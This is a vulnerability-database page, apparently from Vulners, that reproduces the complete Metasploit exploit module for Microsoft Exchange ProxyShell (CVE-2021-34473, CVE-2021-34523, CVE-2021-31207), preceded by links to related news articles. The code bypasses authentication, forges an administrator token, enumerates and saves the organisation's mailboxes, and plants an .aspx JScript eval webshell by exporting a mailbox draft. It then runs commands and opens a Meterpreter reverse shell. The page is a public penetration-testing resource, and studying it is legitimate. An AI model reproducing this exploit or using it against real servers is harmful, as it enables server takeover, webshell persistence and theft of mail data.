Microsoft Exchange Server ProxyShell RCE vulnerability allows bypassing authentication, impersonating users, and achieving Remote Code Execution by writing arbitrary files
Reporter | Title | Published | Views | Family All 128 |
---|---|---|---|---|
Rapid7 Blog | For Microsoft Exchange Server Vulnerabilities, Patching Remains Patchy | 6 Oct 202114:07 | – | rapid7blog |
Rapid7 Blog | ProxyShell: More Widespread Exploitation of Microsoft Exchange Servers | 12 Aug 202121:08 | – | rapid7blog |
Rapid7 Blog | Metasploit Wrap-Up | 20 Aug 202119:12 | – | rapid7blog |
Rapid7 Blog | Conti Ransomware Group Internal Chats Leaked Over Russia-Ukraine Conflict | 1 Mar 202219:15 | – | rapid7blog |
Rapid7 Blog | Popular Attack Surfaces, August 2021: What You Need to Know | 12 Aug 202117:13 | – | rapid7blog |
Rapid7 Blog | Patch Tuesday - May 2021 | 11 May 202123:44 | – | rapid7blog |
Rapid7 Blog | Patch Tuesday - July 2021 | 13 Jul 202120:56 | – | rapid7blog |
The Hacker News | New Incident Report Reveals How Hive Ransomware Targets Organizations | 21 Apr 202210:00 | – | thn |
The Hacker News | WARNING: Microsoft Exchange Under Attack With ProxyShell Flaws | 22 Aug 202109:51 | – | thn |
The Hacker News | MS Exchange Server Flaws Exploited to Deploy Keylogger in Targeted Attacks | 22 May 202407:41 | – | thn |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::HTTP::Exchange::ProxyMaybeShell
include Msf::Exploit::EXE
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Microsoft Exchange ProxyShell RCE',
'Description' => %q{
This module exploits a vulnerability on Microsoft Exchange Server that
allows an attacker to bypass the authentication (CVE-2021-31207), impersonate an
arbitrary user (CVE-2021-34523) and write an arbitrary file (CVE-2021-34473) to achieve
the RCE (Remote Code Execution).
By taking advantage of this vulnerability, you can execute arbitrary
commands on the remote Microsoft Exchange Server.
This vulnerability affects Exchange 2013 CU23 < 15.0.1497.15,
Exchange 2016 CU19 < 15.1.2176.12, Exchange 2016 CU20 < 15.1.2242.5,
Exchange 2019 CU8 < 15.2.792.13, Exchange 2019 CU9 < 15.2.858.9.
All components are vulnerable by default.
},
'Author' => [
'Orange Tsai', # Discovery
'Jang (@testanull)', # Vulnerability analysis
'PeterJson', # Vulnerability analysis
'brandonshi123', # Vulnerability analysis
'mekhalleh (RAMELLA Sébastien)', # exchange_proxylogon_rce template
'Donny Maasland', # Procedure optimizations (email enumeration)
'Rich Warren', # Procedure optimizations (email enumeration)
'Spencer McIntyre', # Metasploit module
'wvu' # Testing
],
'References' => [
[ 'CVE', '2021-34473' ],
[ 'CVE', '2021-34523' ],
[ 'CVE', '2021-31207' ],
[ 'URL', 'https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1' ],
[ 'URL', 'https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is-Just-The-Tip-Of-The-Iceberg-A-New-Attack-Surface-On-Microsoft-Exchange-Server.pdf' ],
[ 'URL', 'https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/' ],
[ 'URL', 'https://github.com/dmaasland/proxyshell-poc' ]
],
'DisclosureDate' => '2021-04-06', # pwn2own 2021
'License' => MSF_LICENSE,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'Platform' => ['windows'],
'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86],
'Privileged' => true,
'Targets' => [
[
'Windows Powershell',
{
'Platform' => 'windows',
'Arch' => [ARCH_X64, ARCH_X86],
'Type' => :windows_powershell,
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
}
}
],
[
'Windows Dropper',
{
'Platform' => 'windows',
'Arch' => [ARCH_X64, ARCH_X86],
'Type' => :windows_dropper,
'CmdStagerFlavor' => %i[psh_invokewebrequest],
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',
'CMDSTAGER::FLAVOR' => 'psh_invokewebrequest'
}
}
],
[
'Windows Command',
{
'Platform' => 'windows',
'Arch' => [ARCH_CMD],
'Type' => :windows_command,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'AKA' => ['ProxyShell'],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options([
OptString.new('EMAIL', [false, 'A known email address for this organization']),
OptBool.new('UseAlternatePath', [true, 'Use the IIS root dir as alternate path', false]),
])
register_advanced_options([
OptString.new('BackendServerName', [false, 'Force the name of the backend Exchange server targeted']),
OptString.new('ExchangeBasePath', [true, 'The base path where exchange is installed', 'C:\\Program Files\\Microsoft\\Exchange Server\\V15']),
OptString.new('ExchangeWritePath', [true, 'The path where you want to write the backdoor', 'owa\\auth']),
OptString.new('IISBasePath', [true, 'The base path where IIS wwwroot directory is', 'C:\\inetpub\\wwwroot']),
OptString.new('IISWritePath', [true, 'The path where you want to write the backdoor', 'aspnet_client']),
OptString.new('MapiClientApp', [true, 'This is MAPI client version sent in the request', 'Outlook/15.0.4815.1002'])
])
end
def check
@ssrf_email ||= Faker::Internet.email
res = send_http('GET', '/mapi/nspi/')
return CheckCode::Unknown if res.nil?
return CheckCode::Safe unless res.code == 200 && res.get_html_document.xpath('//head/title').text == 'Exchange MAPI/HTTP Connectivity Endpoint'
CheckCode::Vulnerable
end
def cmd_windows_generic?
datastore['PAYLOAD'] == 'cmd/windows/generic'
end
def encode_cmd(cmd)
cmd.gsub!('\\', '\\\\\\')
cmd.gsub('"', '\u0022').gsub('&', '\u0026').gsub('+', '\u002b')
end
def random_mapi_id
id = "{#{Rex::Text.rand_text_hex(8)}"
id = "#{id}-#{Rex::Text.rand_text_hex(4)}"
id = "#{id}-#{Rex::Text.rand_text_hex(4)}"
id = "#{id}-#{Rex::Text.rand_text_hex(4)}"
id = "#{id}-#{Rex::Text.rand_text_hex(12)}}"
id.upcase
end
def request_autodiscover(email)
xmlns = { 'xmlns' => 'http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a' }
response = send_http(
'POST',
'/autodiscover/autodiscover.xml',
data: XMLTemplate.render('soap_autodiscover', email: email),
ctype: 'text/xml; charset=utf-8'
)
case response.body
when %r{<ErrorCode>500</ErrorCode>}
fail_with(Failure::NotFound, 'No Autodiscover information was found')
when %r{<Action>redirectAddr</Action>}
fail_with(Failure::NotFound, 'No email address was found')
end
xml = Nokogiri::XML.parse(response.body)
legacy_dn = xml.at_xpath('//xmlns:User/xmlns:LegacyDN', xmlns)&.content
fail_with(Failure::NotFound, 'No \'LegacyDN\' was found') if legacy_dn.nil? || legacy_dn.empty?
server = ''
xml.xpath('//xmlns:Account/xmlns:Protocol', xmlns).each do |item|
type = item.at_xpath('./xmlns:Type', xmlns)&.content
if type == 'EXCH'
server = item.at_xpath('./xmlns:Server', xmlns)&.content
end
end
fail_with(Failure::NotFound, 'No \'Server ID\' was found') if server.nil? || server.empty?
{ server: server, legacy_dn: legacy_dn }
end
def request_fqdn
ntlm_ssp = "NTLMSSP\x00\x01\x00\x00\x00\x05\x02\x88\xa0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
received = send_request_raw(
'method' => 'RPC_IN_DATA',
'uri' => normalize_uri('rpc', 'rpcproxy.dll'),
'headers' => {
'Authorization' => "NTLM #{Rex::Text.encode_base64(ntlm_ssp)}"
}
)
fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received
if received.code == 401 && received['WWW-Authenticate'] && received['WWW-Authenticate'].match(/^NTLM/i)
hash = received['WWW-Authenticate'].split('NTLM ')[1]
message = Net::NTLM::Message.parse(Rex::Text.decode_base64(hash))
dns_server = Net::NTLM::TargetInfo.new(message.target_info).av_pairs[Net::NTLM::TargetInfo::MSV_AV_DNS_COMPUTER_NAME]
return dns_server.force_encoding('UTF-16LE').encode('UTF-8').downcase
end
fail_with(Failure::NotFound, 'No Backend server was found')
end
# https://docs.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxcmapihttp/c245390b-b115-46f8-bc71-03dce4a34bff
def request_mapi(legacy_dn)
data = "#{legacy_dn}\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"
headers = {
'X-RequestType' => 'Connect',
'X-ClientInfo' => random_mapi_id,
'X-ClientApplication' => datastore['MapiClientApp'],
'X-RequestId' => "#{random_mapi_id}:#{Rex::Text.rand_text_numeric(5)}"
}
sid = ''
response = send_http(
'POST',
'/mapi/emsmdb',
data: data,
ctype: 'application/mapi-http',
headers: headers
)
if response&.code == 200
sid = response.body.match(/S-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*/).to_s
end
fail_with(Failure::NotFound, 'No \'SID\' was found') if sid.empty?
sid
end
def get_sid_for_email(email)
autodiscover = request_autodiscover(email)
request_mapi(autodiscover[:legacy_dn])
end
# pre-authentication SSRF (Server Side Request Forgery) + impersonate as admin.
def exploit_setup
if datastore['BackendServerName'] && !datastore['BackendServerName'].empty?
server_name = datastore['BackendServerName']
print_status("Internal server name forced to: #{server_name}")
else
print_status('Retrieving backend FQDN over RPC request')
server_name = request_fqdn
print_status("Internal server name: #{server_name}")
end
@backend_server_name = server_name
get_common_access_token
print_good('Successfully assigned the \'Mailbox Import Export\' role')
print_good("Proceeding with SID: #{@mailbox_user_sid} (#{@mailbox_user_email})")
end
def probe_powershell_backend(common_access_token)
powershell_probe = send_http('GET', "/PowerShell/?X-Rps-CAT=#{common_access_token}")
fail_with(Failure::UnexpectedReply, 'Failed to access the PowerShell backend') unless powershell_probe&.code == 200
end
# this function doesn't return unless it's successful
def get_common_access_token
# get a SID from the specified email address
email_address = datastore['EMAIL']
unless email_address.blank?
sid = get_sid_for_email(email_address)
vprint_status("SID: #{sid} (#{email_address})")
common_access_token = build_token(sid)
probe_powershell_backend(common_access_token)
print_status("Assigning the 'Mailbox Import Export' role via #{email_address}")
role_assigned = execute_powershell('New-ManagementRoleAssignment', cat: common_access_token, args: [
{ name: '-Role', value: 'Mailbox Import Export' },
{ name: '-User', value: email_address }
])
unless role_assigned
fail_with(Failure::BadConfig, 'The specified email address does not have the \'Mailbox Import Export\' role and can not self-assign it')
end
@mailbox_user_sid = sid
@mailbox_user_email = email_address
@common_access_token = common_access_token
return
end
print_status('Enumerating valid email addresses and searching for one that either has the \'Mailbox Import Export\' role or can self-assign it')
get_emails.each do |this_email_address|
next if this_email_address == email_address # already tried this one
vprint_status("Reattempting to assign the 'Mailbox Import Export' role via #{this_email_address}")
begin
this_sid = get_sid_for_email(this_email_address)
rescue RuntimeError
print_error("Failed to identify the SID for #{this_email_address}")
next
end
common_access_token = build_token(this_sid)
role_assigned = execute_powershell('New-ManagementRoleAssignment', cat: common_access_token, args: [
{ name: '-Role', value: 'Mailbox Import Export' },
{ name: '-User', value: this_email_address }
])
next unless role_assigned
@mailbox_user_sid = this_sid
@mailbox_user_email = this_email_address
@common_access_token = common_access_token
return # rubocop:disable Lint/NonLocalExitFromIterator
end
fail_with(Failure::NoAccess, 'No user with the necessary management role was identified')
end
def send_http(method, uri, opts = {})
ssrf = "Autodiscover/autodiscover.json?a=#{@ssrf_email}"
opts[:cookie] = "Email=#{ssrf}"
super(method, "/#{ssrf}#{uri}", opts)
end
def get_emails
mailbox_table = Rex::Text::Table.new(
'Header' => 'Exchange Mailboxes',
'Columns' => %w[EmailAddress Name RoutingType MailboxType]
)
MailboxEnumerator.new(self).each do |row|
mailbox_table << row
end
print_status("Enumerated #{mailbox_table.rows.length} email addresses")
stored_path = store_loot('ad.exchange.mailboxes', 'text/csv', rhost, mailbox_table.to_csv)
print_status("Saved mailbox and email address data to: #{stored_path}")
mailbox_table.rows.map(&:first)
end
def create_embedded_draft(user_sid)
@shell_input_name = rand_text_alphanumeric(8..12)
@draft_subject = rand_text_alphanumeric(8..12)
print_status("Saving a draft email with subject '#{@draft_subject}' containing the attachment with the embedded webshell")
payload = Rex::Text.encode_base64(PstEncoding.encode("#<script language=\"JScript\" runat=\"server\">function Page_Load(){eval(Request[\"#{@shell_input_name}\"],\"unsafe\");}</script>"))
file_name = "#{Faker::Lorem.word}#{%w[- _].sample}#{Faker::Lorem.word}.#{%w[rtf pdf docx xlsx pptx zip].sample}"
envelope = XMLTemplate.render('soap_draft', user_sid: user_sid, file_content: payload, file_name: file_name, subject: @draft_subject)
send_http('POST', '/ews/exchange.asmx', data: envelope, ctype: 'text/xml;charset=UTF-8')
end
def web_directory
if datastore['UseAlternatePath']
datastore['IISWritePath'].gsub('\\', '/')
else
datastore['ExchangeWritePath'].gsub('\\', '/')
end
end
def build_token(sid)
uint8_tlv = proc do |type, value|
type + [value.length].pack('C') + value
end
token = uint8_tlv.call('V', "\x00")
token << uint8_tlv.call('T', 'Windows')
token << "\x43\x00"
token << uint8_tlv.call('A', 'Kerberos')
token << uint8_tlv.call('L', 'Administrator')
token << uint8_tlv.call('U', sid)
# group data for S-1-5-32-544
token << "\x47\x01\x00\x00\x00\x07\x00\x00\x00\x0c\x53\x2d\x31\x2d\x35\x2d\x33\x32\x2d\x35\x34\x34\x45\x00\x00\x00\x00"
Rex::Text.encode_base64(token)
end
def exploit
@ssrf_email ||= Faker::Internet.email
print_status('Attempt to exploit for CVE-2021-34473')
exploit_setup
create_embedded_draft(@mailbox_user_sid)
@shell_filename = "#{rand_text_alphanumeric(8..12)}.aspx"
if datastore['UseAlternatePath']
unc_path = "#{datastore['IISBasePath'].split(':')[1]}\\#{datastore['IISWritePath']}"
unc_path = "\\\\\\\\#{@backend_server_name}\\#{datastore['IISBasePath'].split(':')[0]}$#{unc_path}\\#{@shell_filename}"
else
unc_path = "#{datastore['ExchangeBasePath'].split(':')[1]}\\FrontEnd\\HttpProxy\\#{datastore['ExchangeWritePath']}"
unc_path = "\\\\\\\\#{@backend_server_name}\\#{datastore['ExchangeBasePath'].split(':')[0]}$#{unc_path}\\#{@shell_filename}"
end
normal_path = unc_path.gsub(/^\\+[\w.-]+\\(.)\$\\/, '\1:\\')
print_status("Writing to: #{normal_path}")
register_file_for_cleanup(normal_path)
@export_name = rand_text_alphanumeric(8..12)
successful = execute_powershell('New-MailboxExportRequest', cat: @common_access_token, args: [
{ name: '-Name', value: @export_name },
{ name: '-Mailbox', value: @mailbox_user_email },
{ name: '-IncludeFolders', value: '#Drafts#' },
{ name: '-ContentFilter', value: "(Subject -eq '#{@draft_subject}')" },
{ name: '-ExcludeDumpster' },
{ name: '-FilePath', value: unc_path }
])
fail_with(Failure::UnexpectedReply, 'The mailbox export request failed') unless successful
exported = false
print_status('Waiting for the export request to complete...')
30.times do
sleep 5
next unless send_request_cgi('uri' => normalize_uri(web_directory, @shell_filename))&.code == 200
print_good('The mailbox export request has completed')
exported = true
break
end
fail_with(Failure::Unknown, 'The mailbox export request timed out') unless exported
print_status('Triggering the payload')
case target['Type']
when :windows_command
vprint_status("Generated payload: #{payload.encoded}")
if !cmd_windows_generic?
execute_command(payload.encoded)
else
boundary = rand_text_alphanumeric(8..12)
response = execute_command("cmd /c echo START#{boundary}&#{payload.encoded}&echo END#{boundary}")
print_warning('Dumping command output in response')
if response.body =~ /START#{boundary}(.*)END#{boundary}/m
print_line(Regexp.last_match(1).strip)
else
print_error('Empty response, no command output')
end
end
when :windows_dropper
execute_command(generate_cmdstager(concat_operator: ';').join)
when :windows_powershell
cmd = cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true)
execute_command(cmd)
end
end
def cleanup
super
return unless @common_access_token && @export_name
print_status('Removing the mailbox export request')
execute_powershell('Remove-MailboxExportRequest', cat: @common_access_token, args: [
{ name: '-Identity', value: "#{@mailbox_user_email}\\#{@export_name}" },
{ name: '-Confirm', value: false }
])
print_status('Removing the draft email')
execute_powershell('Search-Mailbox', cat: @common_access_token, args: [
{ name: '-Identity', value: @mailbox_user_email },
{ name: '-SearchQuery', value: "Subject:\"#{@draft_subject}\"" },
{ name: '-Force' },
{ name: '-DeleteContent' }
])
end
def execute_command(cmd, _opts = {})
if !cmd_windows_generic?
cmd = "Response.Write(new ActiveXObject(\"WScript.Shell\").Exec(\"#{encode_cmd(cmd)}\"));"
else
cmd = "Response.Write(new ActiveXObject(\"WScript.Shell\").Exec(\"#{encode_cmd(cmd)}\").StdOut.ReadAll());"
end
send_request_raw(
'method' => 'POST',
'uri' => normalize_uri(web_directory, @shell_filename),
'ctype' => 'application/x-www-form-urlencoded',
'data' => "#{@shell_input_name}=#{cmd}"
)
end
end
# Use https://learn.microsoft.com/en-us/exchange/client-developer/web-service-reference/resolvenames to resolve mailbox
# information. The endpoint only returns 100 at a time though so if the target has more than that many email addresses
# multiple requests will need to be made. Since the endpoint doesn't support pagination, we refine the query by using
# progressively larger search prefixes until there are less than 101 results and thus will fit into a single response.
class MailboxEnumerator
def initialize(mod)
@mod = mod
end
# the characters that Exchange Server 2019 allows in an alias (no unicode)
ALIAS_CHARSET = 'abcdefghijklmnopqrstuvwxyz0123456789!#$%&\'*+-/=?^_`{|}~'.freeze
XML_NS = {
'm' => 'http://schemas.microsoft.com/exchange/services/2006/messages',
't' => 'http://schemas.microsoft.com/exchange/services/2006/types'
}.freeze
include Enumerable
XMLTemplate = Msf::Exploit::Remote::HTTP::Exchange::ProxyMaybeShell::XMLTemplate
def each(name: 'SMTP:', &block)
envelope = XMLTemplate.render('soap_getemails', name: name)
res = @mod.send_http('POST', '/ews/exchange.asmx', data: envelope, ctype: 'text/xml;charset=UTF-8')
return unless res&.code == 200
if res.get_xml_document.xpath('//m:ResolutionSet/@IncludesLastItemInRange', XML_NS).first&.text&.downcase == 'false'
ALIAS_CHARSET.each_char do |char|
each(name: name + char, &block)
end
else
res.get_xml_document.xpath('//t:Mailbox', XML_NS).each do |mailbox|
yield %w[t:EmailAddress t:Name t:RoutingType t:MailboxType].map { |xpath| mailbox.xpath(xpath, XML_NS)&.text || '' }
end
end
end
end
class PstEncoding
ENCODE_TABLE = [
71, 241, 180, 230, 11, 106, 114, 72,
133, 78, 158, 235, 226, 248, 148, 83,
224, 187, 160, 2, 232, 90, 9, 171,
219, 227, 186, 198, 124, 195, 16, 221,
57, 5, 150, 48, 245, 55, 96, 130,
140, 201, 19, 74, 107, 29, 243, 251,
143, 38, 151, 202, 145, 23, 1, 196,
50, 45, 110, 49, 149, 255, 217, 35,
209, 0, 94, 121, 220, 68, 59, 26,
40, 197, 97, 87, 32, 144, 61, 131,
185, 67, 190, 103, 210, 70, 66, 118,
192, 109, 91, 126, 178, 15, 22, 41,
60, 169, 3, 84, 13, 218, 93, 223,
246, 183, 199, 98, 205, 141, 6, 211,
105, 92, 134, 214, 20, 247, 165, 102,
117, 172, 177, 233, 69, 33, 112, 12,
135, 159, 116, 164, 34, 76, 111, 191,
31, 86, 170, 46, 179, 120, 51, 80,
176, 163, 146, 188, 207, 25, 28, 167,
99, 203, 30, 77, 62, 75, 27, 155,
79, 231, 240, 238, 173, 58, 181, 89,
4, 234, 64, 85, 37, 81, 229, 122,
137, 56, 104, 82, 123, 252, 39, 174,
215, 189, 250, 7, 244, 204, 142, 95,
239, 53, 156, 132, 43, 21, 213, 119,
52, 73, 182, 18, 10, 127, 113, 136,
253, 157, 24, 65, 125, 147, 216, 88,
44, 206, 254, 36, 175, 222, 184, 54,
200, 161, 128, 166, 153, 152, 168, 47,
14, 129, 101, 115, 228, 194, 162, 138,
212, 225, 17, 208, 8, 139, 42, 242,
237, 154, 100, 63, 193, 108, 249, 236
].freeze
def self.encode(data)
encoded = ''
data.each_char do |char|
encoded << ENCODE_TABLE[char.ord].chr
end
encoded
end
end
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo